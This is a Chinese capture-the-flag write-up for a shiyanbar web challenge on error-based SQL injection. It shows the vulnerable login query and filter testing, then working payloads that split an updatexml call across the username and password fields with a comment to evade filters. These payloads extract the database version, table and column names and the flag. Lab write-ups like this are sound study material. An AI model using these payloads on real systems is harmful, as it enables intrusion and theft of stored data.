加了料的报错注入
原题链接
http://ctf5.shiyanbar.com/web/baocuo/index.php
分析
查看源码,发现给出查询sql:
$sql="select * from users where username='$username' and password='$password'";
测试:username='&password='1#
结果:sql injection detected
测试username='&password='or'1
,
结果: Login failed
利用burp测试过滤,发现username过滤了括号,password过滤了,但是保留了updatexml,password则是过滤了updatexml。
于是比较容易想到把两个拼起来,拼起来就需要用到注释,将中间的内容注释掉。
payload:
版本号
username=1' and updatexml/*
&password=*/(1,concat(0x7c,(select @@version),0x7c),1) or '1
数据库名
username=1' and updatexml/*
&password=*/(1,concat(0x7c,(select database()),0x7c),1) or '1
表名
username=1' and updatexml/*
&password=*/(1,concat(0x7c,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7c),1) or '1
<br>XPATH syntax error: '|ffll44jj,users|'
列名
username=1' and updatexml/*
&password=*/(1,concat(0x7c,(SELECT group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')),0x7c),1) or '1
<br>XPATH syntax error: '|value|'
查字段
username=1' and updatexml/*
&password=*/(1,concat(0x7c,(SELECT value from ffll44jj),0x7c),1) or '1
<br>XPATH syntax error: '|flag{err0r_b4sed_sqli_+_hpf}|'
flag
flag{err0r_b4sed_sqli_+_hpf}
知识点
报错注入,hpf,exp,updatexml
注
本题有其实很多解法,参看别人的wp,我发现还有盲注,exp,hpf等解法,作为学习,我会将几种解法都学习一下。
网友评论